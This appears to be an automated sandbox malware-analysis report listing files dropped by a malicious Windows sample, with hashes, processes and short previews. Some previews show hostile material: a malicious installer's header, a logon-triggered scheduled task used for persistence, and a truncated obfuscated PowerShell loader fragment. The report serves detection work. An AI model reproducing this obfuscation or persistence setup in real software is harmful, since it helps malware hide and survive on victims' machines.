                                SHA-512:A225A590E625A33F9A2213EFC16C3436C9E4A8B782B5C9A7847EC733EC820B8A5F793E037889C7D08651A6DEAFE4EE99D7F1D0ADD8FC314B6BC930C2E10E099E
                                Malicious:true
                                Antivirus:
                                • Antivirus: ReversingLabs, Detection: 11%
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..F..F..F.*....F..G.w.F.*....F..v..F...@..F.Rich.F.........PE..L......].................d...|......k2............@..........................P............@.................................<...........0Q..............8............................................................................................text....b.......d.................. ..`.rdata..J............h..............@..@.data....U...........|..............@....ndata...................................rsrc...0Q.......R..................@..@................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0dfrahds.b0e.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1jl0odl3.qtr.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cnv5jhn5.g34.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_coya0rul.pgg.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hg1gkcok.dhh.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2gnpmra.ik5.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_llvl3ye2.u1e.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5dd4u5z.ex5.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v5q0y333.jyp.psm1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vf4r3vkl.4dz.ps1

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\bfc.exe

                                Download File
                                Process:C:\Windows\SysWOW64\compact.exe
                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                Category:modified
                                Size (bytes):1561888
                                Entropy (8bit):7.2941254280913554
                                Encrypted:false
                                SSDEEP:24576:vh8J9/TrKYI+HM+Ss/aX7F61JCnhglAFjJCF5dz8moz8d:CJcY1HXSs/aXxSsnqmFjJCF5dQmozq
                                MD5:9468614D3915F76CE938B93A123E9043
                                SHA1:701E2498F724DEDD62DD8589A06DA6B95078C631
                                SHA-256:F4DDAAA1F5E462F067E6B1BFA02C7288568D0954F458C598857CFB1796A0EA5B
                                SHA-512:A225A590E625A33F9A2213EFC16C3436C9E4A8B782B5C9A7847EC733EC820B8A5F793E037889C7D08651A6DEAFE4EE99D7F1D0ADD8FC314B6BC930C2E10E099E
                                Malicious:true
                                Antivirus:
                                • Antivirus: ReversingLabs, Detection: 11%
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..F..F..F.*....F..G.w.F.*....F..v..F...@..F.Rich.F.........PE..L......].................d...|......k2............@..........................P............@.................................<...........0Q..............8............................................................................................text....b.......d.................. ..`.rdata..J............h..............@..@.data....U...........|..............@....ndata...................................rsrc...0Q.......R..................@..@................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Temp\tmpC293.tmp

                                Download File
                                Process:C:\Users\user\Desktop\P1 HWT623ATG.bat.exe
                                File Type:XML 1.0 document, ASCII text
                                Category:dropped
                                Size (bytes):1605
                                Entropy (8bit):5.129976303605111
                                Encrypted:false
                                SSDEEP:24:2di4+S2qhH1jy1m4UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtXxvn:cgeHgYrFdOFzOzN33ODOiDdKrsuThv
                                MD5:ACE39D5C3A91CDF2B3819AE90184538E
                                SHA1:91F59F94AA6F30A84C29D66E65F77A4AB42A5804
                                SHA-256:EFF5C7BE7DE4B14287728310508DA8C772ED1A43F52EB3476E032B4C88B4DFED
                                SHA-512:34449C8EE0E7206828A12F0B57EB4D278C979E2BEEBCE6C8B3D3BFC10DB7A868EEEF91E9BE7FF07B422E1A8BF1EC1DBA5A5254022239F99EAC2B436BAF646B63
                                Malicious:true
                                Preview:<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

                                C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp

                                Download File
                                Process:C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe
                                File Type:XML 1.0 document, ASCII text
                                Category:dropped
                                Size (bytes):1605
                                Entropy (8bit):5.129976303605111
                                Encrypted:false
                                SSDEEP:24:2di4+S2qhH1jy1m4UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtXxvn:cgeHgYrFdOFzOzN33ODOiDdKrsuThv
                                MD5:ACE39D5C3A91CDF2B3819AE90184538E
                                SHA1:91F59F94AA6F30A84C29D66E65F77A4AB42A5804
                                SHA-256:EFF5C7BE7DE4B14287728310508DA8C772ED1A43F52EB3476E032B4C88B4DFED
                                SHA-512:34449C8EE0E7206828A12F0B57EB4D278C979E2BEEBCE6C8B3D3BFC10DB7A868EEEF91E9BE7FF07B422E1A8BF1EC1DBA5A5254022239F99EAC2B436BAF646B63
                                Malicious:false
                                Preview:<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

                                C:\Users\user\AppData\Local\erindres\keres\Renowned.tha

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:ASCII text, with very long lines (53114), with no line terminators
                                Category:dropped
                                Size (bytes):53114
                                Entropy (8bit):5.358012853177325
                                Encrypted:false
                                SSDEEP:1536:7pG7fRT7JeHGrVjy2b640GjcGWRiUg5dhzJOXL:VGLRRV2z40oAg5dhzJ8
                                MD5:36C7728EAA221D8C2CF1C2EB3A790D11
                                SHA1:9F359168B2851B3B5313E48304F088EBA4F9E0F0
                                SHA-256:8228893CA45E5FA8F0790596A5B127CC6FEC335CD268A70396555E58E288113C
                                SHA-512:758C3659C272191875BAD640B2DEF3AE0AD4B34CAF142C85BD18EF0DB54DB6411129A4E20CFB6E2CE45BD439171EDADF705615811289D6A53B48A2768D1C4CC2
                                Malicious:true
                                Preview:$Rektoratssekretrerne=$Matche;<#Antieavesdropping Skrueboltene Sexuelle #><#cirrocumulous Duttede Panbabylonism #><#Interjection ahriman Nedrigere Trykstavelsen Ankomstrkkeflgen Kfereret #><#Indekserede Methylpentoses Mulktering #><#Cykelbanen brndstofafgifter Softwarehus #><#Bluselens Aphorise Rivnings Bambusfljters Inbreak #>$Hyli = "Noege;OgortFOffi,uudel.nPaulacS emmtVv.tyi .ettoTilsjnDuell H rliB Damai B,owd Plumd lde u SmaglCanispForbuhEksekiKrediastam Widow(Porp `$QuintNUnderoNo.lin lincaMid lmSomereUensanForfrdPoetimPiloteFortsnpochet Besk,Refor Pale`$DysgeO Sy,tv Triee Arabrjordnr Vr,iiSp tasJungllTraduiMedvinLibangPes eeLedtorcen,rsGang. Wor.e=Anop Ps ud0Falte) astl{Vanil. Hexa`$ FortE,ysklnSendedtungsoFo sisadgansPhl,xeRehyprBleareSemisr Stor=Utvun-Under3Roadw1Casha5 Su.j1 ruma9 ,onc+ Grew3Whea 1Finan5Gumt.2Elocu1 Cogn;Clo.t Regn S,amp Hirtc Croix`$RockwP EntaoSebunoHennarBliergMang aS,mic Strid=Bravu Ca.omNVelareDkmanw Efte-Al.ptOBesk.b BrnejMoo.seRavnecFrostt ordn Crum

                                C:\Users\user\AppData\Local\erindres\keres\Standardens156\triradiation.rou

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):889122
                                Entropy (8bit):0.4253155271216335
                                Encrypted:false
                                SSDEEP:768:c+PH/sWemnAz18IwbVMcHgckNRr132VDfiIwlvV1t7/V1hAsomFAvnp/xRU2ntnY:7uAD
                                MD5:4416EB9F8A17D831FDB72F06EC338339
                                SHA1:76CD596541DF4E697D84322DB24042C070DCA44F
                                SHA-256:0D918B66F6CDFCB8D263514ED5DBA95EF3430103B635F720F38E22AE39279801
                                SHA-512:EC283F8318C6582615FF5F5DC02E69B48CF5BCACC9C4DE270298EEEBD6A0E1AD2A3EB3DEAE2E9228D1483C7CB00E75A595FC3EF02748922566D9C7FFCAF7EB74
                                Malicious:false
                                Preview:............................!...........r................................................................................................................p.........&........................................9...................................................................................................................................................................................................................................................................#.......b......E................................................................................................'.........................j.....e.................................................................................O...................................................................................................................................................................<...................I........................................................3....................................................................

                                C:\Users\user\AppData\Local\erindres\keres\Standardens156\underslaaningerne.ken

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):895974
                                Entropy (8bit):0.42324832921530375
                                Encrypted:false
                                SSDEEP:768:URnwYVcGfPfBEwZh5L6rZKLYyZx80zjRA3eDc6qdgYxfXAZ7FsRnCwHgzbhZfiEN:UVqkHHN
                                MD5:004BC0DC64AE874A5964B25FA994C3E3
                                SHA1:0E1FA140A2FEA9DE748820207050D6336CCAE29D
                                SHA-256:B63AA93FDC0104F7572DBA9E13F0691176B760324CE067C26E0209C188894E48
                                SHA-512:6143544F62868E723BB4E27AF6128AEDB7C6D6F32B95F103D2FEB293100451AF7AFE9F755AFF15C9F2E159E5374A451B0CA93823F7BD22C746DDBD8B5765E320
                                Malicious:false
                                Preview:.................]..................................`.....................I................................................................)...............................................o................|....................................................................H..................................................................................................................................t..........................................................................................................................................................................................................O.........6......................................................................................................j.................................e.....................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\erindres\keres\cencerro.spa

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):1144615
                                Entropy (8bit):0.43048853065191106
                                Encrypted:false
                                SSDEEP:768:Lj6P82/1QuwdbY3DeMuwfo7WQOZ06IYHmR2yMCxXVe+V4LlBjlGh/c2CP3AAQ2vL:H0D4pP+wmocKt
                                MD5:EE049F2260AFE430FB2373517B734A07
                                SHA1:8B2F648A48BE98BE5D67C5ADF8E95749B88A9BA3
                                SHA-256:D47E1EA7CD20224D43FE168CFB9E9F1ABF383057E8CA6666DC2D9592AA63F710
                                SHA-512:2F8C1A61BBFEDD5F5D04A4195309BA38119BED4B2C6496D6BFDF635B3A827424DCF2A579488AB89A6623C4789D135E3DAB73F09CF4D7D521C138DDC56B5E2F85
                                Malicious:false
                                Preview:.Y........................................h..........................................................................................................................@..............................................................................................................................................................................................................................................[.....,.........................................................................d.................................................................................................(................................................................................................................................N..................................*..........................................................................................................................................J..................................................................................................................

                                C:\Users\user\AppData\Local\erindres\keres\compassionating.Fjo

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):299850
                                Entropy (8bit):7.7696265113216025
                                Encrypted:false
                                SSDEEP:6144:rmfPZt+NjuzXZIcLLlLlCytbH7FtIHGYt8MILZ2gm1Zuzj/rtNn+rol6//T8:kPZgGZIcXlJP1H7FymYK/V00PH4oob8
                                MD5:65B7CC32B0133528A099DDE1AF99969B
                                SHA1:F66D7985C426797BC2B6CE935C35FBB421DC3DE5
                                SHA-256:E908FDA7B81A27C4FDDEE305B856A9B906DFF6CAC8261BCE552C12D0080ACD5E
                                SHA-512:DD9C76004B7CF71DFF49359D60CF13B94F2860C241461870CA92F7E9A0966804190E7EFD3B3AD14F975290F0B0172074C5A3ADB741679E78428C3ED1F764E04E
                                Malicious:false
                                Preview:...................BBB.......................33.....kk.................a...........P..........F....OOO....x....i........@..C.............>......22...RR.........................................A.V.II..Z..............*................~..............~~~~..@@@.SS..........................L..............[[..q.....ppp....3...........................{... .........))..+.........Q..............hhh.......i........kk..............................LL...5.##...........`................w..........vv...............`.................................4444..............._............fff...../...E.K..............III.....K.=.........ww...............222.X........xxxxx.}........^.....................7.....SS...............33..,,.J.uuu...................=....................Z..................&&.....6..........}...................jj....J..............................88..........s....L..```...gg..WW.......Z........)....`.ii......7.....................III.>.OOO......"""""""""........X.[[....,,.-............

                                C:\Users\user\AppData\Local\erindres\keres\compos.lay

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):735172
                                Entropy (8bit):0.43103788423085826
                                Encrypted:false
                                SSDEEP:768:UCzyyfEvddg8Py9oYGo+pwM1yDVoGE23tc6Z3qTc1L9BNboKadKom6KFKWKjyJ+r:LjJcE8F06
                                MD5:26DCB62D0412B5571DFEF979E3E176DF
                                SHA1:03FB702A93799D7704005C3574189D7772924E43
                                SHA-256:3612EBEEA7D68AC8946D29AC0118808205ABC9C3D85206B749BDCBC975B81F2A
                                SHA-512:835868F00F9D09251EDE31AC95FCD8F7A8DBD64997F2CD84EBFDE73BEE492A9793AE32AE0AABA7CAE359AC87F4B9C4B21DABD0E5100DD7A072E178F8570A469E
                                Malicious:false
                                Preview:.............................................................................................................................................................................................................................................................................................................U........I......................................................................................................................................................................................j.................................................................................P...........................................................................................................................?....................................h.....................................................................................................................................................................................................................,...........s..................V..................

                                C:\Users\user\AppData\Local\erindres\keres\galago.sig

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):731689
                                Entropy (8bit):0.4295700734144442
                                Encrypted:false
                                SSDEEP:768:GYsKLXEXkzZ0bKhindgzlsjyjQr3dT3IaSF48zS5jEIwdwwAC9mbAq3Nz64kYkqc:VSzGwT
                                MD5:30CED07C34309222ED0CC7759C0BC3F9
                                SHA1:1455113ECAE9C6B05D3124F8669E797C1014DE58
                                SHA-256:ACA3BF6FCBD735875F1D335535602D29DD066154DD8F6A3CFFC5476763F9F1BB
                                SHA-512:FDB89B8B3E12304734482F6E031FCF915D401AF0BA0B1018710D0C68043B7358294A85783C6D15BFEAB3574AE936B663CBA303715B88146DAF51EFF67A4D44AE
                                Malicious:false
                                Preview:................y......5....................................................................................................................................................................................k.....i.........................................^........................................................................................................................I..................................................................................................................................v................................................................................................................................~..........................................M...........................................................................................................................G.E.....................9......................................."...................................................z....................6..........................................n...................

                                C:\Users\user\AppData\Local\erindres\keres\hyperangelical.teg

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):430048
                                Entropy (8bit):0.42468912059533187
                                Encrypted:false
                                SSDEEP:768:AU5kkFC6aAxEq7UOuO+TBdDM3zlTjhdNKPlLKYeFmQUvsNnfnHwg:osp
                                MD5:21106F41BAC9632FBDA478B841971F72
                                SHA1:432ACFFC0CA6FBEF290FC46128224C2E8AF34800
                                SHA-256:E7F5DC6A16EC4CAD583DD9732CAA877EE74A3BE11BAB6136A11A943651056697
                                SHA-512:B068F63ED511F91B498B2FBB82360AC9AB0E429E33BA0F9AABF65700A1097B51C869D4A5DCA3D23AFB712413437AD2422CA7B5F2CC5D155BEA5E8BF561902987
                                Malicious:false
                                Preview:...................................................................................................Y....................6.................................................................................................,.................................................................................................................................................................a.....................................................................4....e............................................................................................................e.............2................Q..............................................I..........................................................................................'.................................................p...........................................................................................................M............................................................................................................

                                C:\Users\user\AppData\Local\erindres\keres\palation.det

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):1351130
                                Entropy (8bit):0.4273181755378108
                                Encrypted:false
                                SSDEEP:768:i1wNakhT6LrOQqENJ4Ap1rkxElyuEr52P7+Bil0pJcGqNluyRYSP+IcGGL01dmIn:uFGquEOT+fIK
                                MD5:D6FA9797819E133EA616B14120471732
                                SHA1:4541BD151FA2AB2D730F752DFEE913F330A5B827
                                SHA-256:A4C26EE0F397EEFEA06159F331D0A446228D4E913BBB0A24B2A0E253AC590FB0
                                SHA-512:147909BBD52593A8DE109C9CCDE4C613B8C063BD3D825019BA47EEE9DDA5C33FC895E8246A26138F4D51AF8622D3A585374D8312809DE64702FE95962A9ED713
                                Malicious:false
                                Preview:.....D.....................2.............................................................................................................................w............B..........f...........................................................................................2..................................................................................................t..............................................................Q..........................................................................................................................................................................d..................................................................................................]..........................................2..............................................................................................!.......................................................................................c........................................................................

                                C:\Users\user\AppData\Local\erindres\keres\prepaying.rea

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):445165
                                Entropy (8bit):0.429411438660737
                                Encrypted:false
                                SSDEEP:768:wksDqj1nIBOL3GidAxS42ek06p2vFRB8uFnklu2cvwjL0qmlEdz82Kz0r4:A
                                MD5:A1B2D721EAF992907FDA8193D47895D3
                                SHA1:BC50A831905A4A0C46085BD7E604ADF3BEDF2EC4
                                SHA-256:286DC8715861649CC2BD3C016332E2F033677BC77EA5F9130B323A10F17D949E
                                SHA-512:C3261520D492BA1511B739ACEB28808321266823CFB179AC9BD3FB581806C19C59510874DE47E17DE5E4DB58B3AC7D730F46F8811AE96C60720080D55762F8E5
                                Malicious:false
                                Preview:...................................................................................c........................s........................................................................................................................................................................................................................................2......2.............................................................................................=..................................................................................................&..........W....................................................5.....................................................................................................T...............................GO...............................................................................................................................................\...................................................................................................................

                                C:\Users\user\AppData\Local\erindres\keres\remitteredes.ras

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):981506
                                Entropy (8bit):0.4300604146048382
                                Encrypted:false
                                SSDEEP:768:HlfEOFcRfcPHVey15VPOx+aLkAQ4W6ocIsDbQSGT+9wjM08ucHaZcpQkvgWX6sb/:L7VSGX93b
                                MD5:B75BA8C6F851334EB0F126B0A75B45B8
                                SHA1:B6BB2EACFA11EE53ED165B6262FE969547D56633
                                SHA-256:E5EE2AD47575236F5B1224A40C2217BD8E5833319F52FB69E501C6273FD0514A
                                SHA-512:E60C00064AAD8EB00F4F292C4BD68B5A2966AC3CA64605DA86BF2B6ADC8BDEEC2E002954C0059B0AF34C1E42B1856E562AF5C9698C641DFC9A2738494559C3B1
                                Malicious:false
                                Preview:.............................................................................................................................................................................................................................................................................................................................^...................................................................9...........#..\...................................................................J........................A.....................................................................................................................................................................................................................................................................y......................................................................................................................................................................................................................................R.............

                                C:\Users\user\AppData\Local\erindres\keres\skandinaviske.txt

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):426
                                Entropy (8bit):4.259938392558718
                                Encrypted:false
                                SSDEEP:12:XNBmqH3BXdER7fX+JOC5qlMMBpMjNCK1v/:X7pX/OCASS2N3H
                                MD5:AFFD5D71BE1104555CD3D013603921DE
                                SHA1:3091A46CBF02C1E8658F49CF1811ED0ADFFEFD61
                                SHA-256:CA05B2DDE63E88AB6AF6E5D7A589F12408CE2C1601FF01DA03D755800B894D10
                                SHA-512:8280A109E7C6E82E4372D67F9FE26DCACDD87909EF28DBE83022FF3D777D6B17E441E9B4BCC01216D6DF47B1FC97764C46AAB448626D09476B030FFFA502BC40
                                Malicious:false
                                Preview:regnet ordfattige empocket mondego suborned demonographies,quantificationally illucidation sparkplugged semanticists geksporterne stenotaphrum betingelsesskemas underbemandingerne triactinal..kartonernes churchmen baggaard obstinately,organogold nasicornous statusoptllingerne blokfunktionens subcriminally ophiurida.meridionality fuldstndiggrendes unindebted slimskken.withholden introgressant sammenflettes tekstinformation.

                                C:\Users\user\AppData\Local\erindres\keres\skarnsungen.ani

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):1118356
                                Entropy (8bit):0.4308329030326928
                                Encrypted:false
                                SSDEEP:768:maKaLKvJO3H6g86kX0ZBoQF4wVBPpOLjCVC0EuoOgnyoDqMjWzzA+ZIYfnY/yVMy:7NIyP0tFPuh
                                MD5:27ECF0DB055894CCA29A515CB24405C1
                                SHA1:6785E0F14D2082E2ADDBE2E74C9E61D115F95D98
                                SHA-256:84AD82B571E7E278AE0823897EBBFC28E7ADC66C27DCCA5D528F57467EBF96D8
